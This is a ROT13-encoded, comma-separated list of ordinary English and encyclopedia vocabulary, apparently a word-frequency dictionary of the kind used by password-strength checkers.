gvba,fnatnz,vfbyngvat,natyref,pebahyyn,naavuvyngrq,xvqqrezvafgre,flagurfvmr,cbchynevfrq,gurbcuvyhf,onaqfgnaq,vaahzrenoyr,punteva,ergebnpgviryl,jrfre,zhygvcyrf,oveqyvsr,tbelrb,cnjarr,tebffre,tenccyvat,gnpgvyr,nuznqvarwnq,gheobcebc,reqbtna,zngpuqnl,cebyrgnevna,nqurevat,pbzcyrzragf,nhfgebarfvna,nqiregf,yhzvanevrf,nepurbybtl,vzcerffvbavfz,pbavsre,fbqbzl,vagreenpvny,cyngbbaf,yrffra,cbfgvatf,crwbengvir,ertvfgengvbaf,pbbxrel,crefrphgvbaf,zvpeborf,nhqvgf,vqvbflapengvp,fhofc,fhfcrafvbaf,erfgevpgf,pbybhevat,engvsl,vafgehzragnyf,ahpyrbgvqrf,fhyyn,cbfvgf,ovoyvbgurdhr,qvnzrgref,bprnabtencul,vafgvtngvba,fhofhzrq,fhoznpuvar,npprcgbe,yrtngvba,obeebjf,frqtr,qvfpevzvangrq,ybnirf,vafheref,uvtutngr,qrgrpgnoyr,nonaqbaf,xvyaf,fcbegfpnfgre,unejvpu,vgrengvbaf,cernxarff,neqhbhf,grafvyr,cenouh,fubegjnir,cuvybybtvfg,funerubyqvat,irtrgngvir,pbzcyrkvgvrf,pbhapvybef,qvfgvapgviryl,erivgnyvmr,nhgbzngba,nznffvat,zbagerhk,xunau,fhenonln,aheaoret,creanzohpb,phvfvarf,punegreubhfr,svefgf,grepren,vaunovgnag,ubzbcubovn,anghenyvfz,rvane,cbjrecynag,pbehan,ragregnvazragf,jurqba,enwchgf,engba,qrzbpenpvrf,nehanpuny,brhier,jnyybavn,wrqqnu,gebyyrlohfrf,rinatryvfz,ibftrf,xvbjn,zvavzvfr,rapvepyrzrag,haqregnxrf,rzvtenag,ornpbaf,qrrcrarq,tenzznef,choyvhf,cerrzvarag,frllrq,ercrpuntr,pensgvat,urnqvatyrl,bfgrbcnguvp,yvgubtencul,ubgyl,oyvtu,vafuber,orgebgurq,bylzcvnaf,sbezhyn_31,qvffbpvngvba,gevinaqehz,neena,crgebivp,fgrggva,qvfrzonexrq,fvzcyvsvpngvba,oebamrf,cuvyb,npebongvp,wbaffba,pbawrpgherq,fhcrepunetrq,xnagb,qrgrpgf,purrfrf,pbeeryngrf,unezbavpf,yvsrplpyr,fhqnzrevpnan,erfreivfgf,qrpnlrq,ryvgfrevra,cnenzrgevp,113gu,qhfxl,ubtnegu,zbqhyb,flzovbgvp,zbabcbyvrf,qvfpbagvahngvba,pbairetrf,fbhgurearef,ghphzna,rpyvcfrf,rapynirf,rzvgf,snzvpbz,pnevpngherf,negvfgvpnyyl,yriryyrq,zhffryf,rerpgvat,zbhgucnegf,phaneq,bpgnirf,pehpvoyr,thneqvn,hahfnoyr,yntenatvna,qebhtugf,rcurzreny,cnfugb,pnavf,gncrevat,fnfrob,fvyhevna,zrgnyyhetvpny,bhgfpberq,ribyirf,ervffhrf,frqragnel,ubzbgbcl,terlunjx,erntragf,vaurevgvat,bafuber,gvygvat,erohssrq,erhfnoyr,anghenyvfgf,onfvatfgbxr,vafbsne,bssrafvirf,qenivqvna,phengbef,cynaxf,enwna,vfbsbezf,syntfgnss,cerfvqr,tybohyne,rtnyvgnevna,yvaxntrf,ovbtencuref,tbnyfpberef,zbyloqrahz,pragenyvfrq,abeqynaq,whevfgf,ryyrfzrer,ebforet,uvqrlbfuv,erfgehpgher,ovnfrf,obeebjre,fpnguvat,erqerff,ghaaryyvat,jbexsybj,zntangrf,znuraqen,qvffragref,cyrguben,genafpevcgvbaf,unaqvpensgf,xrljbeq,kv'na,crgebtenq,hafre,cebxbsvri,90qrt,znqna,ongnna,znebavgr,xrneal,pneznegura,grezvav,pbafhyngrf,qvfnyybjrq,ebpxivyyr,objrel,snamvar,qbpxynaqf,orfgf,cebuvovgvbaf,lrygfva,frynffvr,anghenyvmngvba,ernyvfngvba,qvfcrafnel,gevorpn,noqhynmvm,cbpnubagnf,fgntangvba,cnzcyban,pharvsbez,cebcntngvat,fhofhesnpr,puevfgtnh,rcvguryvhz,fpujreva,ylapuvat,ebhgyrqtr,unafrngvp,hcnavfunq,tyror,lhtbfynivna,pbzcyvpvgl,raqbjzragf,tveban,zlargjbexgi,ragbzbybtl,cyvagu,on'ngu,fhcrephc,gbehf,nxxnqvna,fnygrq,ratyrjbbq,pbzznaqrel,orytnhz,cersvkrq,pbybeyrff,qnegsbeq,raguebarq,pnrfnern,abzvangvir,fnaqbja,fnsrthneqf,uhyyrq,sbezhyn_32,yrnzvatgba,qvrccr,fcrneurnq,trarenyvmngvbaf,qrznepngvba,yynaryyv,znfdhr,oevpxjbex,erpbhagvat,fhsvfz,fgevxvatyl,crgebpurzvpny,bafybj,zbabybthrf,rzvtengvat,naqreyrpug,fgheg,ubffrva,fnxunyva,fhoqhpgvba,abivprf,qrcgsbeq,mnawna,nvefgevxrf,pbnysvryq,ervagebqhpgvba,gvzonynaq,ubeaol,zrffvnavp,fgvatvat,havirefnyvfg,fvghngvbany,enqvbpneoba,fgebatzna,ebjyvat,fnybbaf,genssvpxref,bireena,sevobhet,pnzoenv,tenirfraq,qvfpergvbanel,svavgryl,nepurglcr,nffrffbe,cvyvcvanf,rkuhzrq,vaibpngvba,vagrenpgrq,qvtvgvmrq,gvzvfbnen,fzrygre,grgba,frkvfz,cerprcgf,fevantne,cvyfhqfxv,pnezryvgr,unanh,fpberyvar,ureanaqb,gerxxvat,oybttvat,snaonfr,jvryqrq,irfvpyrf,angvbanyvmngvba,onawn,ensgf,zbgbevat,yhnat,gnxrqn,tveqre,fgvzhyngrf,uvfgbar,fhaqn,anabcnegvpyrf,nggnvaf,whzcref,pngnybthrq,nyyhqvat,cbaghf,napvragf,rknzvaref,fuvaxnafra,evooragebc,ervzohefrzrag,cuneznpbybtvpny,enzng,fgevatrq,vzcbfrf,purncyl,genafcynagrq,gnvcvat,zvmbenz,ybbzf,jnyynovrf,fvqrzna,xbbgranl,rapnfrq,fcbegfarg,eribyhgvbavmrq,gnatvre,oraguvp,ehavp,cnxvfgnavf,urngfrrxref,fulnz,zvfuanu,cerfolgrevnaf,fgnqg,fhgenf,fgenqqyrf,mbebnfgevna,vasre,shryvat,tlzanfgf,bspbz,thasvtug,wbhearlzna,genpxyvfg,bfunjn,cf500,cn'va,znpxvanp,kvbatah,zvffvffvccvna,oerpxvaevqtr,serrznfba,ovtug,nhgbebhgr,yvorenyvmngvba,qvfgnagyl,guevyyref,fbybzbaf,cerfhzcgvir,ebznavmngvba,narpqbgny,oburzvnaf,hacnirq,zvyqre,pbapheerq,fcvaaref,nycunorgf,fgerahbhf,evivrerf,xreenat,zvfgerngzrag,qvfzbhagrq,vagrafviryl,pneyvfg,qnaprunyy,fuhagvat,cyhenyvfz,genssvpxrq,oebxrerq,obaniragher,oebzvqr,arpxne,qrfvtangrf,znyvna,erirefrf,fbgurol,fbetuhz,frevar,raivebazragnyvfgf,ynathrqbp,pbafhyfuvc,zrgrevat,onaxfgbja,unaqyref,zvyvgvnzra,pbasbezvat,erthynevgl,cbaqvpureel,nezva,pncfvmrq,pbafrwb,pncvgnyvfgf,qebturqn,tenahyne,chetrq,npnqvnaf,raqbpevar,vagenzheny,ryvpvg,greaf,bevragngvbaf,zvxybf,bzvggvat,ncbpelcuny,fyncfgvpx,oerpba,cyvbprar,nssbeqf,glcbtencul,rzvter,gfnevfg,gbznfm,orfrg,avfuv,arprffvgngvat,raplpyvpny,ebyrcynlvat,wbhearlrq,vasybj,fcevagf,cebterffvirf,abibfvovefx,pnzrebbavna,rcurfhf,fcrpxyrq,xvafunfn,servuree,oheanol,qnyzngvna,gbeeragvny,evtbe,erartnqrf,ounxgv,aheohetevat,pbfvzb,pbaivapvatyl,eriregvat,ivfnlnf,yrjvfunz,puneybggrgbja,punenqevvsbezrfsnzvyl,genafsrenoyr,wbquche,pbairegref,qrrcravat,pnzfunsg,haqreqrirybcrq,cebgrnfr,cbybavn,hgrevar,dhnagvsl,gboehx,qrnyrefuvcf,anenfvzun,sbegena,vanpgvivgl,1780f,ivpgbef,pngrtbevfrq,ankbf,jbexfgngvba,fxvax,fneqvavna,punyvpr,cerprqr,qnzzrq,fbaqurvz,cuvarnf,ghgberq,fbhepvat,hapbzcebzvfvat,cynpre,glarfvqr,pbhegvref,cebpynvzf,cuneznpvrf,ulbtb,obbxfryyref,fratbxh,xhefx,fcrpgebzrgre,pbhagljvqr,jvryxbcbyfxv,obofyrvtu,furggl,yyljryla,pbafvfgbel,urergvpf,thvarna,pyvpurf,vaqvivqhnyvfz,zbabyvguvp,vznzf,hfnovyvgl,ohefn,qryvorengvbaf,envyvatf,gbepujbbq,vapbafvfgrapl,onyrnevp,fgnovyvmre,qrzbafgengbe,snprg,enqvbnpgvivgl,bhgobneq,rqhpngrf,q'blyl,urergvpny,unaqbire,whevfqvpgvbany,fubpxjnir,uvfcnavbyn,pbaprcghnyyl,ebhgref,hanssvyvngrq,geragvab,sbezhyn_33,plcevbgf,vagreirarf,arhpungry,sbezhyngvat,znttvber,qryvfgrq,nypbubyf,gurffnyl,cbgnoyr,rfgvzngbe,fhobeqre,syhrapl,zvzvpel,pyretlzra,vasenfgehpgherf,evinyf.pbz,onebqn,fhocybg,znwyvf,cynab,pyvapuvat,pbaabgngvba,pnevanr,fnivyr,vagrephygheny,genafpevcgvbany,fnaqfgbarf,nvyrebaf,naabgngvbaf,vzcerfnevb,urvaxry,fpevcgheny,vagrezbqny,nfgebybtvpny,evoorq,abegurnfgjneq,cbfvgrq,obref,hgvyvfr,xnyzne,culyhz,oernxjngre,fxlcr,grkgherq,thvqryvar,nmrev,evzvav,znffrq,fhofvqrapr,nabznybhf,jbysfohet,cbylcubavp,npperqvgvat,ibqnpbz,xvebi,pncgnvavat,xrynagna,ybtvr,sreirag,rnzba,gncre,ohaqrfjrue,qvfcebcbegvbangryl,qvivangvba,fybobqna,chaqvgf,uvfcnab,xvargvpf,erhavgrf,znxngv,prnfvat,fgngvfgvpvna,nzraqvat,puvygrea,rcnepul,evirevar,zrynabzn,aneentnafrgg,cntnaf,entrq,gbccyrq,oernpuvat,mnqne,ubyol,qnpvna,bpuer,irybqebzr,qvfcnevgvrf,nzcubr,frqnaf,jrocntr,jvyyvnzfcbeg,ynpuyna,tebgba,onevat,fjnfgvxn,uryvcbeg,hajvyyvatarff,enmbeonpxf,rkuvovgbef,sbbqfghssf,vzcnpgvat,gvgur,nccraqntrf,qrezbg,fhoglcrf,ahefrevrf,onyvarfr,fvzhyngvat,fgnel,erznxrf,zhaqv,punhgnhdhn,trbybtvpnyyl,fgbpxnqr,unxxn,qvyhgr,xnyvznagna,cnunat,bireynccrq,serqrevpgba,onun'h'yynu,wnunatve,qnzcvat,orarsnpgbef,fubznyv,gevhzcuny,pvrfmla,cnenqvtzf,fuvryqrq,erttnrgba,znunevfuv,mnzovna,furnevat,tbyrfgna,zveebevat,cnegvgvbavat,sylbire,fbatobbx,vapnaqrfprag,zreevznpx,uhthrabgf,fnatrrg,ihyarenovyvgvrf,genqrznexrq,qelqbpx,gnagevp,ubabevf,dhrrafgbja,ynoryyvat,vgrengvir,rayvfgf,fgngrfzra,natyvpnaf,uretr,dvatunv,ohethaqvna,vfynzv,qryvarngrq,muhtr,nttertngrq,onaxabgr,dngnev,fhvgnoyl,gncrfgevrf,nflzcgbgvp,puneyrebv,znwbevgvrf,clenzvqryyvqnr,yrnavatf,pyvznpgvp,gnuve,enzfne,fhccerffbe,erivfvbavfg,genjyre,reanxhynz,cravpvyyvhz,pngrtbevmngvba,fyvgf,ragvgyrzrag,pbyyrtvhz,rneguf,orarsvpr,cvabpurg,chevgnaf,ybhqfcrnxre,fgbpxunhfra,rhebphc,ebfxvyqr,nybvf,wnebfyni,eubaqqn,obhgvdhrf,ivtbe,arhebgenafzvggre,nafne,znyqra,sreqvanaqb,fcbegrq,eryragrq,vagreprffvba,pnzorejryy,jrggrfg,guhaqreobygf,cbfvgvbany,bevry,pybireyrns,cranyvmrq,fubfubar,enwxhzne,pbzcyrgrarff,funewnu,puebzbfbzny,orytvnaf,jbbyra,hygenfbavp,frdhragvnyyl,obyrla,zbeqryyn,zvpebflfgrzf,vavgvngbe,rynpuvfgn,zvarenybtl,eubqbqraqeba,vagrtenyf,pbzcbfgryn,unzmn,fnjzvyyf,fgnqvb,oreyvbm,znvqraf,fgbarjbex,lnpugvat,gnccru,zlbpneqvny,ynobere,jbexfgngvbaf,pbfghzrq,avpnrn,ynanex,ebhaqgnoyr,znfuunq,anoyhf,nytbadhvna,fghlirfnag,fnexne,urebvarf,qvjna,ynzragf,vagbangvba,vagevthrf,nyzngl,srhqrq,tenaqrf,nytneir,erunovyvgngr,znpebcuntrf,pehpvngr,qvfznlrq,urhevfgvp,ryvrmre,xbmuvxbqr,pbinyrag,svanyvfrq,qvzbecuvfz,lnebfyniy,biregnxvat,yrirexhfra,zvqqyrohel,srrqref,oebbxvatf,fcrphyngrf,vafbyhoyr,ybqtvatf,wbmfrs,plfgrvar,furalnat,unovyvgngvba,fchevbhf,oenvapuvyq,zgqan,pbzvdhr,nyorqb,erpvsr,cnegvpx,oebnqravat,funuv,bevragngrq,uvznynln,fjnovn,cnyzr,zraabavgrf,fcbxrfjbzna,pbafpevcgf,frchypuer,punegerf,rhebmbar,fpnssbyq,vairegroengr,cnevfunq,ontna,urvna,jngrepbybef,onffr,fhcrepbzchgre,pbzzraprf,gneentban,cynvasvryq,neguhevna,shapgbe,vqragvpnyyl,zherk,puebavpyvat,cerffvatf,oheebjvat,uvfgbver,thnlndhvy,tbnyxrrcvat,qvssreragvnoyr,jneohet,znpuvavat,nrarnf,xnanjun,ubybprar,enzrffrf,ercevfny,dvatqnb,ningnef,ghexrfgna,pnagngnf,orfvrtvat,erchqvngrq,grnzfgref,rdhvccvat,ulqevqr,nuznqvlln,rhfgba,obggyrarpx,pbzchgngvbaf,grerattnah,xnyvatn,fgryn,erqvfpbirel,'guvf,nmune,fglyvfrq,xneryvn,cbylrgulyrar,xnafnv,zbgbevfrq,ybhatrf,abeznyvmngvba,pnyphyngbef,1700f,tbnyxrrcref,hasbyqrq,pbzzvffnel,phovfz,ivtarggrf,zhygvirefr,urngref,oevgba,fcnevatyl,puvyqpner,gubevhz,cybpx,evxfqnt,rhahpuf,pngnylfvf,yvznffby,crepr,haprafberq,juvgynz,hyzhf,havgrf,zrfbcbgnzvna,ersenpgvba,ovbqvrfry,sbemn,shyqn,hafrngrq,zbhagonggra,funuenx,fryravhz,bfvwrx,zvzvpxvat,nagvzvpebovny,nkbaf,fvzhypnfgvat,qbavmrggv,fjnovna,fcbegfzra,unsvm,arnerq,urenpyvhf,ybpngrf,rinqrq,fhopnecnguvna,ouhonarfjne,artrev,wntnaangu,gunxfva,nlqva,bebzb,yngrena,tbyqfzvguf,zhygvphyghenyvfz,pvyvn,zvunv,rinatryvfgf,ybevrag,dnwne,cbyltbaf,ivabq,zrpunavfrq,natybcubar,cersnoevpngrq,zbffrf,fhcreivyynva,nveyvaref,ovbshryf,vbqvqr,vaabingbef,inynvf,jvyoresbepr,ybtnevguz,vagryyvtragfvn,qvffvcngvba,fnapgvbavat,qhpuvrf,nlznen,cbepurf,fvzhyngbef,zbfgne,gryrcnguvp,pbnkvny,pnvguarff,ohetuf,sbheguf,fgengvsvpngvba,wbndhvz,fpevorf,zrgrbevgrf,zbanepuvfg,trezvangvba,ievrf,qrfvevat,ercyravfuzrag,vfgevn,jvarznxvat,gnzznal,gebhcrf,urgzna,ynaprbyngr,cryntvp,gevcglpu,cevzrven,fpnag,bhgobhaq,ulcunr,qrafre,oragunz,onfvr,abeznyr,rkrphgrf,ynqvfynhf,xbagvaragny,ureng,pehvfrejrvtug,npgvivfvba,phfgbzvmngvba,znabrhierf,vatyrjbbq,abegujbbq,jnirsbez,vairfgvgher,vacngvrag,nyvtazragf,xvelng,enong,nepuvzrqrf,hfgnq,zbafnagb,nepurglcny,xvexol,fvxuvfz,pbeerfcbaqvatyl,pngfxvyy,bireynvq,crgeryf,jvqbjref,havpnzreny,srqrenyvfgf,zrgnypber,tnzrenaxvatf,zhffry,sbezhyn_34,ylzcubplgrf,plfgvp,fbhgutngr,irfgvtrf,vzzbegnyf,xnynz,fgebir,nznmbaf,cbpbab,fbpvbybtvfgf,fbcjvgu,nqurerf,ynheraf,pnertviref,vafcrpgvat,genaflyinavna,eroebnqpnfg,euravfu,zvfrenoyrf,clenzf,oybvf,arjgbavna,pnencnpr,erqfuveg,tbgynaq,anmve,havyrire,qvfgbegvbaf,yvaronpxref,srqrenyvfz,zbzonfn,yhzra,oreabhyyv,snibhevat,nyvtneu,qrabhapr,fgrnzobngf,qavrcre,fgengvtencuvp,flaguf,orearfr,hznff,vproernxre,thnanwhngb,urvfraoret,obyqyl,qvbqrf,ynqnxu,qbtzngvp,fpevcgjevgre,znevgvzrf,onggyrfgne,flzcbfvn,nqncgnoyr,gbyhpn,ounina,anaxvat,vrlnfh,cvpneql,fblorna,nqnyoreg,oebzcgba,qrhgfpurf,oermuari,tynaqhyne,ynbgvna,uvfcnavpvmrq,vonqna,crefbavsvpngvba,qnyvg,lnzhan,ertvb,qvfcrafrq,lnzntngn,mjrvoehpxra,erivfvat,snaqbz,fgnaprf,cnegvpvcyr,synibhef,xuvgna,iregroeny,peberf,znlnthrm,qvfcrafngvba,thaghe,haqrsvarq,unecrepbyyvaf,havbavfz,zrran,yriryvat,cuvyvccn,ersenpgbel,gryfgen,whqrn,nggrahngvba,clybaf,rynobengvba,ryrtl,rqtvat,tenpvyynevvqnr,erfvqrapvrf,nofragvn,ersyrkvir,qrcbegngvbaf,qvpubgbzl,fgbirf,fnaerzb,fuvzba,zranpurz,pbearny,pbavsref,zbeqryyvqnr,snpfvzvyr,qvntabfrf,pbjcre,pvggn,ivgvphygher,qvivfvir,evireivrj,sbnyf,zlfgvpf,cbylurqeba,cynmnf,nvefcrrq,erqtenir,zbgureynaq,vzcrqr,zhygvcyvpvgl,oneevpuryyb,nvefuvcf,cuneznpvfgf,uneirfgre,pynlf,cnlybnqf,qvssreragvngvat,cbchynevmr,pnrfnef,ghaaryvat,fgntanag,pvepnqvna,vaqrzavgl,frafvovyvgvrf,zhfvpbybtl,cersrpgf,fresf,zrgen,yvyyrunzzre,pneznegurafuver,xvbfxf,jryynaq,oneovpna,nyxly,gvyynaqfvn,tngureref,nfbpvnpvba,fubjvatf,ounengv,oenaqljvar,fhoirefvba,fpnynoyr,csvmre,qnjyn,onevhz,qneqnaryyrf,afqnc,xbavt,nlhggunln,ubqtxva,frqvzragngvba,pbzcyrgvbaf,chepunfref,fcbafbefuvcf,znkvzvmvat,onaxrq,gnbvfz,zvabg,raebyyf,sehpgbfr,nfcverq,pnchpuva,bhgntrf,negbvf,pneebyygba,gbgnyvgl,bfprbyn,cnjghpxrg,sbagnvaroyrnh,pbairetrq,dhrergneb,pbzcrgrapvrf,obgun,nyybgzragf,furns,funfgev,boyvdhryl,onaqvat,pngunevarf,bhgjneqyl,zbapuratynqonpu,qevrfg,pbagrzcyngvir,pnffvav,enatn,chaqvg,xravyjbegu,gvnanazra,qvfhysvqr,sbezhyn_35,gbjaynaqf,pbqvpr_3,ybbcvat,pneninaf,enpuznavabss,frtzragngvba,syhbevar,natyvpvfrq,tabfgvp,qrffnh,qvfprea,erpbasvtherq,nygevapunz,erobhaqvat,onggyrpehvfre,enzoyref,1770f,pbairpgvir,gevbzcur,zvlntv,zbhearef,vafgntenz,nybsg,oernfgsrrqvat,pbheglneqf,sbyxrfgbar,punatfun,xhznzbgb,fnneynaq,tenlvfu,cebivfvbanyyl,nccbznggbk,hapvny,pynffvpvfz,znuvaqen,ryncfrq,fhcerzrf,zbabculyrgvp,pnhgvbarq,sbezhyn_36,aboyrjbzna,xrearyf,fhper,fjncf,oratnyheh,terasryy,rcvpragre,ebpxunzcgba,jbefuvcshy,yvpragvngr,zrgncubevpny,znynaxnen,nzchgngrq,jnggyr,cnynjna,gnaxboba,abohantn,cbylurqen,genafqhpgvba,wvyva,flevnaf,nssvavgvrf,syhragyl,rznangvat,natyvpvmrq,fcbegfpne,obgnavfgf,nygban,qenivqn,pubeyrl,nyybpngvbaf,xhazvat,yhnaqn,cerzvrevat,bhgyvirq,zrfbnzrevpn,yvathny,qvffvcngvat,vzcnvezragf,nggraobebhtu,onyhfgenqr,rzhyngbe,onxufu,pynqqvat,vaperzragf,nfpragf,jbexvatgba,dny'ru,jvayrff,pngrtbevpny,crgery,rzcunfvfr,qbezre,gbebf,uvwnpxref,gryrfpbcvp,fbyvqyl,wnaxbivp,prffvba,thehf,znqbss,arjel,fhoflfgrzf,abegufvqr,gnyvo,ratyvfuzra,snearfr,ubybtencuvp,ryrpgvirf,netbaar,fpevirare,cerqngrq,oehttr,anhibb,pngnylfrf,fbnerq,fvqqryrl,tencuvpnyyl,cbjreyvsgvat,shavphyne,fhatnv,pbrepvir,shfvat,hapregnvagvrf,ybpbf,nprgvp,qviretr,jrqtjbbq,qerffvatf,gvroernxre,qvqnpgvp,ilnpurfyni,nperntr,vagrecynargnel,onggyrpehvfref,fhaohel,nyxnybvqf,unvecva,nhgbzngn,jvryxvr,vagreqvpgvba,cyhtvaf,zbaxrrf,ahqvoenapu,rfcbegr,nccebkvzngvbaf,qvfnoyvat,cbjrevat,punenpgrevfngvba,rpbybtvpnyyl,znegvafivyyr,grezra,crecrghngrq,yhsgunafn,nfpraqnapl,zbgureobneq,obyfubv,ngunanfvhf,cehahf,qvyhgvba,vairfgf,abamreb,zraqbpvab,punena,onadhr,funurrq,pbhagrephygher,havgn,ibvibqr,ubfcvgnyvmngvba,incbhe,fhcreznevar,erfvfgbe,fgrccrf,bfanoehpx,vagrezrqvngrf,orambqvnmrcvarf,fhaalfvqr,cevingvmrq,trbcbyvgvpny,cbagn,orrefuron,xvrina,rzobql,gurbergvp,fnatu,pnegbtencure,oyvtr,ebgbef,guehjnl,onggyrsvryqf,qvfpreavoyr,qrzbovyvmrq,oebbqzner,pbybhengvba,fntnf,cbyvplznxref,frevnyvmngvba,nhtzragngvba,ubner,senaxshegre,genafavfgevn,xvanfrf,qrgnpunoyr,trarengvbany,pbairetvat,nagvnvepensg,xunxv,ovzbaguyl,pbnqwhgbe,nexunatryfx,xnaahe,ohssref,yvibavna,abegujvpu,rairybcrq,plfgf,lbxbmhan,urear,orrpuvat,raeba,ivetvavna,jbbyyra,rkprcgvat,pbzcrgvgviryl,bhggnxrf,erpbzovanag,uvyyperfg,pyrnenaprf,cngur,phzorefbzr,oenfbi,h.f.n,yvxhq,puevfgvnavn,pehpvsbez,uvrenepuvrf,jnaqfjbegu,yhcva,erfvaf,ibvprbire,fvgne,ryrpgebpurzvpny,zrqvnpbec,glcuhf,teranqvref,urcngvp,cbzcrvv,jrvtugyvsgre,obfavnx,bkvqberqhpgnfr,haqrefrpergnel,erfphref,enawv,fryrhpvq,nanylfvat,rkrtrfvf,granapl,gbher,xevfgvnafnaq,110gu,pnevyyba,zvarfjrrcref,cbvgbh,npprqrq,cnyynqvna,erqrirybc,anvfzvgu,evsyrq,cebyrgnevng,fubwb,unpxrafnpx,uneirfgf,raqcbvag,xhona,ebfraobet,fgbaruratr,nhgubevfngvba,wnpborna,eribpngvba,pbzcngevbgf,pbyyvqvat,haqrgrezvarq,bxnlnzn,npxabjyrqtzrag,natrybh,serfary,punune,rgurerny,zt/xt,rzzrg,zbovyvfrq,hasnibhenoyr,phyghen,punenpgrevmvat,cnefbantr,fxrcgvpf,rkcerffjnlf,enonhy,zrqrn,thneqfzra,ivfnxuncnganz,pnqqb,ubzbcubovp,ryzjbbq,rapvepyvat,pbrkvfgrapr,pbagraqvat,frywhx,zlpbybtvfg,vasregvyvgl,zbyvrer,vafbyirag,pbiranagf,haqrecnff,ubyzr,ynaqrfyvtn,jbexcynprf,qryvadhrapl,zrgunzcurgnzvar,pbagevirq,gnoyrnh,gvgurf,bireylvat,hfhecrq,pbagvatragf,fcnerf,byvtbprar,zbyqr,orngvsvpngvba,zbeqrpunv,onyybgvat,cnzcnatn,anivtngbef,sybjrerq,qrohgnag,pbqrp,bebtral,arjfyrggref,fbyba,nzovinyrag,hovfbsg,nepuqrnpbael,unecref,xvexhf,wnony,pnfgvatf,xnmuntnz,flyurg,lhjra,oneafgncyr,nzvqfuvcf,pnhfngvir,vfhmh,jngpugbjre,tenahyrf,pnanireny,erzharengvba,vafhere,cnlbhg,ubevmbagr,vagrtengvir,nggevohgvat,xvjvf,fxnaqreort,nflzzrgel,tnaargg,heonavfz,qvfnffrzoyrq,hanygrerq,cerpyhqrq,zrybqvsrfgvinyra,nfpraqf,cyhtva,thexun,ovfbaf,fgnxrubyqre,vaqhfgevnyvfngvba,noobgfsbeq,frkgrg,ohfgyvat,hcgrzcb,fynivn,puberbtencuref,zvqjvirf,unenz,wnirq,tnmrggrre,fhofrpgvba,angviryl,jrvtugvat,ylfvar,zrren,erqoevqtr,zhpuzhfvp,noehmmb,nqwbvaf,hafhfgnvanoyr,sberfgref,xovg/f,pbfzbcgrevtvqnr,frphynevfz,cbrgvpf,pnhfnyvgl,cubabtencu,rfghqvnagrf,prnhfrfph,havirefvgnevb,nqwbvag,nccyvpnovyvgl,tnfgebcbqf,antnynaq,xragvfu,zrpuryra,ngnynagn,jbbqcrpxref,ybzoneqf,tngvarnh,ebznafu,nienunz,nprglypubyvar,cregheongvba,tnybvf,jraprfynhf,shmubh,zrnaqrevat,qraqevgvp,fnpevfgl,nppragrq,xngun,gurencrhgvpf,creprvirf,hafxvyyrq,terraubhfrf,nanybthrf,punyqrna,gvzoer,fybcrq,ibybqlzle,fnqvd,zntuero,zbabtenz,ernethneq,pnhphfrf,zherf,zrgnobyvgr,hlrmq,qrgrezvavfz,gurbfbcuvpny,pbeorg,tnryf,qvfehcgvbaf,ovpnzreny,evobfbzny,jbyfryrl,pynexfivyyr,jngrefurqf,gnefv,enqba,zvynarfr,qvfpbagvahbhf,nevfgbgryvna,juvfgyroybjre,ercerfragngvbany,unfuvz,zbqrfgyl,ybpnyvfrq,ngevny,unmnen,eninan,geblrf,nccbvagrrf,ehohf,zbeavatfvqr,nzvgl,noreqner,tnatyvn,jrfgf,movtavrj,nrebongvp,qrcbchyngrq,pbefvpna,vagebfcrpgvir,gjvaavat,uneqgbc,funyybjre,pngnenpg,zrfbyvguvp,rzoyrzngvp,tenprq,yhoevpngvba,erchoyvpnavfz,ibebarmu,onfgvbaf,zrvffra,vexhgfx,bobrf,ubxxvra,fcevgrf,grarg,vaqvivqhnyvfg,pncvghyngrq,bnxivyyr,qlfragrel,bevragnyvfg,uvyyfvqrf,xrljbeqf,ryvpvgrq,vapvfrq,ynttvat,ncbry,yratguravat,nggenpgvirarff,znenhqref,fcbegfjevgre,qrpragenyvmngvba,obygmznaa,pbagenqvpgf,qensgfzna,cerpvcvgngr,fbyvuhyy,abefxr,pbafbegf,unhcgznaa,evsyrzra,nqiragvfgf,flaqebzrf,qrzbyvfuvat,phfgbzvmr,pbagvahb,crevcurenyf,frnzyrffyl,yvathvfgvpnyyl,ouhfuna,becunantrf,cnenhy,yrffrarq,qrinantnev,dhnegb,erfcbaqref,cngebalzvp,evrznaavna,nygbban,pnabavmngvba,ubabhevat,trbqrgvp,rkrzcyvsvrf,erchoyvpn,ramlzngvp,cbegref,snvezbhag,cnzcn,fhssreref,xnzpungxn,pbawhtngrq,pbnpuryyn,hguzna,ercbfvgbevrf,pbcvbhf,urnqgrnpure,njnzv,cubarzr,ubzbzbecuvfz,senapbavna,zbbeynaq,qnibf,dhnagvsvrq,xnzybbcf,dhnexf,znlbenygl,jrnyq,crnprxrrcref,inyrevna,cnegvphyngr,vafvqref,cregufuver,pnpurf,thvznenrf,cvcrq,teranqvarf,xbfpvhfmxb,gebzobavfg,negrzvfvn,pbinevnapr,vagregvqny,fblornaf,orngvsvrq,ryyvcfr,sehvgvat,qrnsarff,qavcebcrgebifx,nppehrq,mrnybhf,znaqnyn,pnhfngvba,whavhf,xvybjngg,onxrevrf,zbagcryvre,nveqevr,erpgvsvrq,ohatnybjf,gbyrengvba,qrovna,clyba,gebgfxlvfg,cbfgrevbeyl,gjb-naq-n-unys,ureovibebhf,vfynzvfgf,cbrgvpny,qbaar,jbqrubhfr,sebzr,nyyvhz,nffvzvyngr,cubarzvp,zvanerg,hacebsvgnoyr,qnecn,hagranoyr,yrnsyrg,ovgpbva,mnuve,guerfubyqf,netragvab,wnpbcb,orfcbxr,fgengvsvrq,jryyorvat,fuvvgr,onfnygvp,gvzorejbyirf,frpergr,gnhagf,znengubaf,vfbzref,pneer,pbafrpengbef,crabofpbg,cvgpnvea,fnxun,pebffgbja,vapyhfvbaf,vzcnffnoyr,sraqref,vaqer,hfptp,wbeqv,ergvahr,ybtnevguzvp,cvytevzntrf,envypne,pnfury,oynpxebpx,znpebfpbcvp,nyvtavat,gnoyn,gerfgyr,pregvsl,ebafba,cnycf,qvffbyirf,guvpxrarq,fvyvpngr,gnzna,jnyfvatunz,unhfn,ybjrfgbsg,ebaqb,byrxfnaqe,phlnubtn,ergneqngvba,pbhagrevat,pevpxrgvat,ubyobea,vqragvsvref,uryyf,trbculfvpf,vasvtugvat,fphycgvat,onynwv,jroorq,veenqvngvba,eharfgbar,gehffrf,bevln,fbwbhea,sbesrvgher,pbybavmr,rkpynvzrq,rhpunevfgvp,ynpxyhfgre,tynmvat,abeguevqtr,thgraoret,fgvchyngrf,znpebrpbabzvp,cevbev,bhgrezbfg,naahyne,hqvarfr,vafhyngvat,urnqyvare,tbqry,cbylgbcr,zrtnyvguvp,fnyvk,funencbin,qrevqrq,zhfxrtba,oenvagerr,cyngrnhf,pbasref,nhgbp